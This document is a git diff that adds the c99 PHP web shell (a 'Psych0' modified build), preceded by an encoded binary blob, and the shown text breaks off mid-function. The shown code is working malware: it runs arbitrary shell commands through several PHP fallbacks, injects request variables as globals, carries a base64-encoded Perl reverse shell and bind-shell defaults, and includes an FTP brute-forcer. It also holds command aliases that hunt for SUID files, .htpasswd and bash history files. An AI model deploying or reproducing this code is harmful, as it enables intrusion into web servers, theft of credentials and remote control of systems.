z39p7^sW3J;!Ek3-3plT!M{c(c@;ld5H9z}N%e$|z4iQfX9|f|Smf(}9trnlc_XS~H zt9H9OQg+aJ?P6_vs<T|9Y-2+9EkTSeAxxPs2DAFU9LfjyH3X+S$5lme)LM*9?mqyo zW`XPzbsFYFE_7-y1Rr$|5kBb<#8E`-R?8iUZc1??!4cc4BrGd@Ai$0m*?u$GcGOLN zXWtOb$d!CK%J*2G>|yb>wi%9s*<*u~ygQEL`^#8UFJ|ooAI}Y=+G8UE6(tdmNzmE{ z-Nee>$<k-8xufN6k}!v%_d?M|_k?C6#OB#Z^w*k1SNUKrYA5|!lw9BesUK5%IV=de zI>OnNBK#~wsWyh=>WNpvyK#e;gtCiZfKy_Oz%A(Pnd`SS$+e9!LOI*X9s5=o9-vu> z@>?cR-ChJr3@bv>gW1i}H2lA8{G^A^gdHRB6AxrI(`3Xag5Jsb)H3#Q{0Z^Z>G46G z!8YHZ-#b>3`)}R8l4TjEW!-t)ZJizK3cNllqpYb3-ON<Orxr`-zAORN29;PE$bI9w zK0xSxH(V0f?JVu**V>xYV~8p3_MG8$8<!sK8kk$q4_0rI*i)!7Y39Z9(1#}ldK$Zl zO-YRbC&;$7R5TmVU-KoP4f)~iw|GsK^0NKuS2c~9h)M4KRB=U4+fGwj8Wf-K@xLY? z9=bWpIgrKrkf`s(&&rviNvaRNz_?v|-bCIE#DRwNk+_#qI_1wTyjE;ddQCA!h3Z&t z-7EXfXjBbIEVC%WZo<Jws+^&!qo>d8;Y~Fc8FF9XS{zlUYp)?^@l5ig;YZTE3W}@? zb4Rf)x+nyIC;$0#<paV>*q~22Z8zhiGHA8Ji^hynQ-K6{O8UY~@pI(F>xrE!tefSV zy$5qxaO2mDlYe-p`^}xu%4$9|za@GxW8=$YkAU=bn9~ym{l!5Z|BE-{qQtc~7htW* zCT+P(S(d!IFqA`{3M@iSPJBMohFDR~7yw}oq<d1#)UFWhK${ug>;fTDnhW8xJ-^mA zGdi1`jOfe>B&C#~Cj6F!Dj>llOIqc~d5!j4Ph3~)Sy>uSJZ6-)-xMu3!iOgP1i8gI z-{!;_cy}bvqjVj5co&s#=S>~9l~yTiUGSI{#O<b#-a`bVLtE$W#A^(e%qA<lYIo3Z z?Uka-n-V9mq>`}aV8V)>p+v_P2=*Pg54dd<WarH*KkQ=S#e<hE?;#EtsO$%$j<dJ3 zD^3c=#XHF<@k%!eavPAh?e%-l?=G&B!tW4*naCpGcJ0b4O>}k{_RF?v>f>oCkC4+g zS-qZbtc27<?e46MXY4>*8ucwzpx4j47*6dGjPWXL0jgEb$b4V;>EZ2{^}~pHC0=tb zK{{xfIp0?Vk$WsDHpjPAIP*t^MC9fzi52d;U%7Mu_t4+t<Ej!dV@b<tt{;E?$&XC* zF2>YhWqsDuhZN-EIpat=E?=9SC6Fc|t!8#vU48b@NigJwUTJnJKvKI~J)Iw6d9W_6 zK>gS?=(Abv%i0{wK68~I!^}20h2$p-UR?|spR*ZPeEW*&3WY0&N@h7Ax>5xLmxN`Q z-El)M4S7I-2HUH7w$`_|)7<|;&FJTF6^)6!ir^=N$qpQ^(V>m8^)1Noz}s}!9@XDx ziGcsQD{wIeW1E=&GqwL>L{$Pd-=Qfe->G=@{HV&|Rh1M|Td>*aroG7giVvLD#ouo> zokr`S?mcC;A0T^CL4=-(q-<^eUpJlpE$Iv4WZ^A)LMlB9$vQW&TqEIn-@=$M_?ucE z8me$`Lbb+9#`F)sPc(EmiP2h1!SH*)nR)r2D-cxk{(^c+NXdUvWCF@}smTxE3Z~^q zLZTbCglk?vuw1Isy{|4lgVkM)S!T}r81bNAX3huxS|bWNwSWJ_o@XolX3AAvV=ZI+ zCnc(&HuL9C7ES!MaWp4ir64JR(zuw$ETjcbRhRhB3i|(YqW{Z@{$JokS-Y}j2r~R= zhA&U`OLG)SKNAV|56O|CUc28<?<Dve_vO`*A%C;;%@WFq9Zoee*<nO*-$v&EbWszj zbscXO53KPmO=~|4SXPgqNzhD$pAo4P8?Mb`_csUfYiQk!x5=SfU8?HIuWmHF*AuAN z^)e|*9GFM69?(TB4bf>S9f9HukfdND&lRxdR|fWNP^{nzT#)tVOdqU)XWY;&pP2oh z_Rc%1$$ZV@AV?7ese%xSpfEH6X#$~nLmdP`iZtmlR4LLkfCxwx0#TY2sUdU-5D1DQ zy-0~5y#zuNDG?M9=Dyr}=kCtT-r3dNb9T?3`7?jyoSgj5d(QiNp3nF5m9o-)gcUl& z5hm@@-%&sDqTJO7RUNCKM*U&P0}O;Zs=A#8Q<BHFN`o*{{s-+Fi|P-326lw)x=zP% z=6%{f4xe2*NL~4E^Fl1y{~hmVB{tfoVJpvdWs~^eu7f0BLcH7%iW2C0LZ6eA8lV-b zRE}izWhgd4&8#6-{VX8;yYHr_2?aY^%6*ep-@r&bw3NVmP9R+5_>YF;jTyoe^|is{ zA>h4$5tG^~?F!HpTdb&Co0wX%-;NHKSF>^=V@Nrp?%0Uot&zUb;kT~K>3M=xVacSk z=^olE*T70+U<jRB(6erLyXAMhKi1>LcTJzniY}#M10Ez<hb<Fr3!5ED8Hq}+ndrBy z?M3698@IVdfyM_S>HLx@1>b!IYHldE85@M2VeH1?ojq{QQ(~wCJeIHltfozfU%$*w z`XAt+*=c2=XW_+u`A0d#(7Q)ZkGQ&l&BS`M^R<EL>1!RXXJQqn6hTvd2a8Sb+Q#*R z8Ifn3*9`6!7Q!^V8*TJhvJ%smn#{m(N<@3<RCj?4gT$EF+p5WrQz0!`P?bi4XNx_6 z$TmExkTt74yfr&{!FPMAquTPVuZ6sVs*HdO0Y;IWOk#k$terP|YEguIZmoP!mZVL; zt?%t4SeY;sEwn^N_R_ku#oN~q#4y&j9#UT)S6qOi!E?LlarQi_YGls&__u;B#0+a@ z+qSy%mARS#sB2s^>~$+QJHN9vR#jMy+^&tDA#lDVZ>>!BL>vDrXy;EN^iLu*mh4X= z^iLx6TZvF#xmqj1O=b^smcFFLv*<>NP&wXb7Ab#u8OzmeBivdODls3jC>G5JpIVGh zlBN;`$VC1jPXw)RdrdHh>A5K0I_1p2UCIZpFY+i5!bG@G4%vhb>2`n(f7Y|&&A~ZF z$+L?dL}CVR{BBP74b<hycmKbWmu833e<v?jo&HW<x|hhGldNn+sDtrPYBr>$_c}YZ zUIV6~3fq7HRbo9-^LtbiQahh)hBs3*7$?zq%4k&&&9!7WkqT1tEhC9ib&^wXZLpHp zCuUfN*!lV`aQnJt3!XSLZVH;uBJTyY-R%|bqTC5sC}`Z4`8=xU4tIAKmcMfsiJ)1K zW{{RHr4gbQ&muwo@UpMi{4<$l=qrYtv9zVFg`$T|sr@DALi&!fd;1cl%NrOkZ^!4j zbpJ~r(PaJmD@o3${iim~e_ezX^u1|R4qDGVh-}uSO3o`De24`O%4-@i&6_G8Y2Ux+ z08?rA-yC*hF~)Cvm|0V@yZVq>v6en1o-CKN&*)`V{+%J#AfG_mjiRMYYmxC>EVc!Q zpbLPS%R{Ks+7lOOPd}wN6MRhdylKeO-Ld&J+wiCtCE{dEKN(LNV06Jal(!WF9I4-G zNjvvLCT{uT+scd4PU?-&stNd7;Xu(9o{z+ZDImGNV0Vu@?3s>r3xl`fr}j(3Ka-8l zZt23^U=5K7%gUOGJNpex)0fIy5un(_@ueF&c1VF-umTa)`&<kV6S#}OBu0r29%wO* z^UU-Br*0d?y*#FX^2Dro7#W|=da^S$CEnf}moS;`^I7F)l~c^Jzo)KW-h%1|r<(&d zc8%CG-dks8mLP^$<_b@tpdcd;liHP`d8|FehtJS1Y-)`1wdZweNaxm-B6S@`y?YzN zlcQ^1$5DWZmXE*UAwILf@$gzgvOgd*O_~+(s!Pm@-)7H5y@!#synXj=)@X6>ttINO z*ylZk37%476OxsE93xaUB2*t)soagkKgKYfik?e8#~aLf;xi4`Qs0#XE)2g?-0Hcy z%P!&lMps|J%ta*By1_Lr!z)d3*I9wJ@ilu`a(dWl3ZRv6y>mgN5Vz^>!@8ZN!xC-$ zkpbfI2T9r7Gra%hnlFsd_a$ggN~$Yzq2F9Wmh<f+ogttGK8;niN>+VzD2!APap@`7 zpi`93d;e8!8IXPivd*4qL6bk6sGbT6etg{GV(@)+G5|^uYOS^`nD87)xJMztroguY zZkPK<sp3C3BY=o6K)f$8bBC#RKvQ4JHhECtPAZ`A_>cN#M(HL<p*BDL6fJ#!e<mZe zZU2Dow>uNIe-3*7-M9vU40b<)FQOLQ%S?c@kJO7FBjq>t1Fv-zJ-=H2j#Jgb=NFnX z@)zl4#je<=<E9J6ru~@NW9mCQ<n#|qCVPD;N31W%wb64s7yiDR27>pT(TFIU#R1(? ze%$=YVf@~V*E1gHq5f^el(%_<!Tp8fEs&N_U)?Hj47n!+z)64%u=TN$e~SL^tWa=J z$o30#p&<KkSA!o@l1jf~6qlCT)m40ut+BGfLf~%ZI6LQ*dDLYNHGnM2CgT7p5x~LR zW=79cp+sAPiYsT(EtvR5miNUb@KIAuRTtlru8S=Moi9%FhZ{T{JLc7bd)qy)+~-=w za<hKgES8-+u&P$~hsx~G<Ru<Z1=0wLJb05uW<W8>VzXNuV!UOOQ)F>F)I%@_8hLSc z57x0!O69e*J=}POO~?mtSS}*92iu)krrkDZ%Ya5pgve4obLV#Yc$svG={YV<GP(IK z89|8K|FbMnc2$*C+46Zn@y)I6p-o8lgFyOR$VK-ld%DkfsFHy$$%WqoYTN!p=`H-{ z+S!u?7XCYo@%P#NYG<vkySmc#D;J1pMqG;7Fq3tsFdf9Dl)^|8v@uNSX5^0+;|~tu zaM6-48gW92xn?F#ayyQaU5A*>+VR^sTOFty;okg$ks@Ja2KV8H+(`{~F<_UKkZMxV zL9>sI`MHWrOdFi)X?A4NzNPR<VNJB+OEv4gFDqK~FjlBR_?~9oE#_fp_;El*=pRLo z{f1E+KcMRLO#P%?Uf;3qbl!vASDfgY%qHij=}gr9Bow}Hk{~z16$dubG4@e+5sU|V zm53eK&-0I$Z|~;fUdN7Y^~sId@YP|OF^LPDQ<^;=)*FOMM6^@^O=q`V6kpKbsoyTL zzU{Lo?0kbC59pn9ZBxd~9mQ$?Hh#^{O@%IC^)CuU7$lUBRBztSR_aYq+0vJBGbt3V z#H1ybw=SdjcyJ?iXmn1^%3kQ*rymfvt#L`7Dpn5z3p{M1bMsb@f`F9J2QQi5b|wo~ z#Eu^C9JVRe`O6#io~@G<ldRqs*vC7W<tlJ=t*2xW!>&z;4yy>PZaNjdw@T16L`tNw z*FS*|7O^_G5MtW~D~fAtha4J^`Fj13e5{G`j}g6GmUz3&h|bHA=&H;bZ1<2&I#pW# zR?or#NXxKZuIT<b%eOVxsME9tl(xJ^aXY<+IAF8pR^ix?JYt8qim6Tt0BflaBm93r zvz1g#nl@uc7>fO&UV`$@uG$mxT&`7;Pu!B%T3ObD-UUaWb5Rk&#40>tVR=ERmlX15 zPEMK{Ox`YEyh~yp?G%9c$+7e#tp<5_z3y4Qk*$+Uy_oznSujcRqh|Z7jc`D2iQlA- zks+#cihEsnwvCQw2T@Q&Y~ugnwiJn7|9T;1I-uT_W3yu8Vk!<HTb6Ap*ZSrZ9E_IJ zo_{$c3pX`q@^~@HGkZm(gg4NZ$}5q2$r#QeGErxD({iGGaoJ$d<K`P<K}JmOP4?kS zZcKIbygy+IQVhzh0xUX>u#LC}OMQqKqO)LKA<cj{6&?gOC^xCh1^zm~)+irUDY39k zf5A%LsNM0im}4Xt9bX5H-Ph}9s2G9|-s!=nzw)CrOeJHyC{76&PHnEWIzF}!K)ra% zW$GsdJk|EUas-K9*Qk#oSy$IL>TmT*=T~TV3E|B&d_juf3$NF^#ewR-9}lzU8q*DV z7;R^Bi|wokB^7H1XJIhfRJAt=nmeE(%~#q4G4xn9D2Sxrur-q|!_qZaCF*4xOOZ`k zN_Xsd3_^*AGQRON=-g5${GBXg&G#_i(ji-lhDyIbT2VJF8L5`1>65M8fu>d;$sa0{ zz#)e9>;&Ip2k2su<a2vx56-Z^97DcZJqmpP9Y3YS;+XdlSe3VReg)-$H2vrVIrChT zTr+@kwI8CRgib&!0XWaEN@h-#K2b2#`NWF!n`Yyg3MVPp>+G>6z2dS!BYSN>t6=)J zZ^rrC+{xMJMs#RO!^+una`stQ&@Z8Js{Y3o?(35tFlL%*3bxg3>A?JT!w+risT;wn zt5(GjOLGU;tCwdpDR*Tl&s0jI=_5?h5R^(s@*7QEeK<l<WHy;2LvS*w6``}<4)M9r zDQv>Q<?|QU4x=TFsLRY552m7G8(5`qx=Vqty53r#W=h#^P3q;{E9dNP2k4+E;GFAZ ze>rS0f;Z}bCt?mJYi(_pV|15k8-8!w^7Zl;owzJ-DsOMKLu}C(^n4UjDC)fVAWhVg zI3ayw*crje8jk>^5b_}pZb&N9kLeSBSmdR{)Mn*Wv3_Ns-YqNlF~?Sa(ShElF_6}y zbF@_#pl31&y>9LDVDV-8z*=+m)&CI{<*O4FCH{X;MQO5G-FZa(x^l=JI^#J|yZ31Q LAnP#y=kdP+sEUoF literal 0 HcmV?d00001 diff --git a/php/PHPshell/c99_PSych0/c99_PSych0.php b/php/PHPshell/c99_PSych0/c99_PSych0.php new file mode 100644 index 0000000..0969b91 --- /dev/null +++ b/php/PHPshell/c99_PSych0/c99_PSych0.php @@ -0,0 +1,3284 @@ +<?php +//Starting calls +ini_set("max_execution_time",0); +if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} +error_reporting(5); +$adires=""; +@ignore_user_abort(TRUE); +@set_magic_quotes_runtime(0); +$win = strtolower(substr(PHP_OS,0,3)) == "win"; +define("starttime",getmicrotime()); +if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} +$_REQUEST = array_merge($_COOKIE,$_GET,$_POST); +foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} + +$shver = "1.0 pre-release build #16"; //Current version +//CONFIGURATION AND SETTINGS +if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";} +elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);} +else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL +} + +$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL. + +if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} +if (empty($surl)) +{ + $surl = "?".$includestr; //Self url +} +$surl = htmlspecialchars($surl); + +$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. + +//Authentication +$login = ""; //login +//DON'T FORGOT ABOUT PASSWORD!!! +$pass = ""; //password +$md5_pass = ""; //md5-cryped pass. if null, md5($pass) + +$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") +$login_txt = "Restricted area"; //http-auth message. +$accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c99shell\">c99shell v.".$shver."</a>: access denied"; + +$gzipencode = TRUE; //Encode with gzip? + +$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE) + +$c99sh_updateurl = "http://ccteam.ru/update/c99shell/"; //Update server +$c99sh_sourcesurl = "http://ccteam.ru/files/c99sh_sources/"; //Sources-server + +$filestealth = TRUE; //if TRUE, don't change modify- and access-time + +$donated_html = "<center><b>C99 Modified By Psych0 </b></center>"; +/* If you publish free shell and you wish +add link to your site or any other information, +put here your html. */ +$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. + +$curdir = "./"; //start folder +//$curdir = getenv("DOCUMENT_ROOT"); +$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) +$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) + +$log_email = "user@host.tld"; //Default e-mail for sending logs + +$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending +$sort_save = TRUE; //If TRUE then save sorting-position using cookies. + +// Registered file-types. +// array( +// "{action1}"=>array("ext1","ext2","ext3",...), +// "{action2}"=>array("ext4","ext5","ext6",...), +// ... +// ) +$ftypes = array( + "html"=>array("html","htm","shtml"), + "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), + "exe"=>array("sh","install","bat","cmd"), + "ini"=>array("ini","inf"), + "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), + "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + "sdb"=>array("sdb"), + "phpsess"=>array("sess"), + "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") +); + +// Registered executable file-types. +// array( +// string "command{i}"=>array("ext1","ext2","ext3",...), +// ... +// ) +// {command}: %f% = filename +$dizin = str_replace("\\",DIRECTORY_SEPARATOR,$dizin); +if (empty($dizin)) {$dizin = realpath(".");} elseif(realpath($dizin)) {$dizin = realpath($dizin);} +$dizin = str_replace("\\",DIRECTORY_SEPARATOR,$dizin); +if (substr($dizin,-1) != DIRECTORY_SEPARATOR) {$dizin .= DIRECTORY_SEPARATOR;} +$dizin = str_replace("\\\\","\\",$dizin); +$dizinispd = htmlspecialchars($dizin); +/*dizin*/ +$real = realpath($dizinispd); +$path = basename ($PHP_SELF); +function dosyayicek($link,$file) +{ + $fp = @fopen($link,"r"); + while(!feof($fp)) + { + $cont.= fread($fp,1024); + } + fclose($fp); + + $fp2 = @fopen($file,"w"); + fwrite($fp2,$cont); + fclose($fp2); +} + + + + +$exeftypes = array( + getenv("PHPRC")." -q %f%" => array("php","php3","php4"), + "perl %f%" => array("pl","cgi") +); + +/* Highlighted files. + array( + i=>array({regexp},{type},{opentag},{closetag},{break}) + ... + ) + string {regexp} - regular exp. + int {type}: +0 - files and folders (as default), +1 - files only, 2 - folders only + string {opentag} - open html-tag, e.g. "<b>" (default) + string {closetag} - close html-tag, e.g. "</b>" (default) + bool {break} - if TRUE and found match then break +*/ +$regxp_highlight = array( + array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example + array("config.php",1) // example +); + +$safemode_diskettes = array("a"); // This variable for disabling diskett-errors. + // array (i=>{letter} ...); string {letter} - letter of a drive +//$safemode_diskettes = range("a","z"); +$hexdump_lines = 8;// lines in hex preview file +$hexdump_rows = 24;// 16, 24 or 32 bytes in one line + +$nixpwdperpage = 100; // Get first N lines from /etc/passwd + +$bindport_pass = "c99"; // default password for binding +$bindport_port = "31373"; // default port for binding +$bc_port = "31373"; // default port for back-connect +$datapipe_localport = "8081"; // default port for datapipe +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj +aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR +hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT +sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI +kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi +KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl +OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; + +// Command-aliases +if (!$win) +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "ls -la"), + array("find all suid files", "find / -type f -perm -04000 -ls"), + array("find suid files in current dir", "find . -type f -perm -04000 -ls"), + array("find all sgid files", "find / -type f -perm -02000 -ls"), + array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), + array("find config.inc.php files", "find / -type f -name config.inc.php"), + array("find config* files", "find / -type f -name \"config*\""), + array("find config* files in current dir", "find . -type f -name \"config*\""), + array("find all writable folders and files", "find / -perm -2 -ls"), + array("find all writable folders and files in current dir", "find . -perm -2 -ls"), + array("find all service.pwd files", "find / -type f -name service.pwd"), + array("find service.pwd files in current dir", "find . -type f -name service.pwd"), + array("find all .htpasswd files", "find / -type f -name .htpasswd"), + array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), + array("find all .bash_history files", "find / -type f -name .bash_history"), + array("find .bash_history files in current dir", "find . -type f -name .bash_history"), + array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), + array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), + array("list file attributes on a Linux second extended file system", "lsattr -va"), + array("show opened ports", "netstat -an | grep -i listen") + ); +} +else +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "dir"), + array("show opened ports", "netstat -an") + ); +} + +$sess_cookie = "c99shvars"; // Cookie-variable name + +$usefsbuff = TRUE; //Buffer-function +$copy_unset = FALSE; //Remove copied files from buffer after pasting + +//Quick launch +$quicklaunch = array( + array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl), + array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"), + array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"), + array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"), + array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""), + array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"), + array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"), + array("<b>Encoder</b>",$surl."act=encoder&d=%d"), + array("<b>Tools</b>",$surl."act=tools&d=%d"), + array("<b>Proc.</b>",$surl."act=processes&d=%d"), + array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"), + array("<b>Sec.</b>",$surl."act=security&d=%d"), + array("<b>SQL</b>",$surl."act=sql&d=%d"), + array("<b>PHP-code</b>",$surl."act=eval&d=%d"), + array("<b>Update</b>",$surl."act=update&d=%d"), + array("<b>Feedback</b>",$surl."act=feedback&d=%d"), + array("<b>Self remove</b>",$surl."act=selfremove"), + array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()") +); + +//Highlight-code colors +$highlight_background = "#c0c0c0"; +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +$highlight_string = "#000000"; + +@$f = $_REQUEST["f"]; +@extract($_REQUEST["c99shcook"]); + +//END CONFIGURATION + + +// \/Next code isn't for editing\/ +function ex($cfe) +{ + $res = ''; + if (!empty($cfe)) + { + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } + } + return $res; +} +function which($pr) +{ +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return $pr; } +} + +function cf($fname,$text) +{ + $w_file=@fopen($fname,"w") or err(0); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} +function err($n,$txt='') +{ +echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>'; +echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n]; +if(!empty($txt)) { echo " $txt"; } +echo '</b></div></font></td></tr></table>'; +return null; +} +@set_time_limit(0); +$tmp = array(); +foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} +$s = "!^(".implode("|",$tmp).")$!i"; +if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc99shell\">c99shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} +if (!empty($login)) +{ + if (empty($md5_pass)) {$md5_pass = md5($pass);} + if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) + { + if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));} + header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\""); + header("HTTP/1.0 401 Unauthorized"); + exit($accessdeniedmess); + } +} +if ($act != "img") +{ +$lastdir = realpath("."); +chdir($curdir); +if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;} +$sess_data = unserialize($_COOKIE["$sess_cookie"]); +if (!is_array($sess_data)) {$sess_data = array();} +if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} +if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} + +$disablefunc = @ini_get("disable_functions"); +if (!empty($disablefunc)) +{ + $disablefunc = str_replace(" ","",$disablefunc); + $disablefunc = explode(",",$disablefunc); +} + +if (!function_exists("c99_buff_prepare")) +{ +function c99_buff_prepare() +{ + global $sess_data; + global $act; + foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + $sess_data["copy"] = array_unique($sess_data["copy"]); + $sess_data["cut"] = array_unique($sess_data["cut"]); + sort($sess_data["copy"]); + sort($sess_data["cut"]); + if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} + else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} +} +} +c99_buff_prepare(); +if (!function_exists("c99_sess_put")) +{ +function c99_sess_put($data) +{ + global $sess_cookie; + global $sess_data; + c99_buff_prepare(); + $sess_data = $data; + $data = serialize($data); + setcookie($sess_cookie,$data); +} +} +foreach (array("sort","sql_sort") as $v) +{ + if (!empty($_GET[$v])) {$$v = $_GET[$v];} + if (!empty($_POST[$v])) {$$v = $_POST[$v];} +} +if ($sort_save) +{ + if (!empty($sort)) {setcookie("sort",$sort);} + if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} +} +if (!function_exists("str2mini")) +{ +function str2mini($content,$len) +{ + if (strlen($content) > $len) + { + $len = ceil($len/2) - 2; + return substr($content, 0,$len)."...".substr($content,-$len); + } + else {return $content;} +} +} +if (!function_exists("view_size")) +{ +function view_size($size) +{ + if (!is_numeric($size)) {return FALSE;} + else + { + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + else {$size = $size . " B";} + return $size; + } +} +} +if (!function_exists("fs_copy_dir")) +{ +function fs_copy_dir($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_copy_obj")) +{ +function fs_copy_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (!is_dir(dirname($t))) {mkdir(dirname($t));} + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= 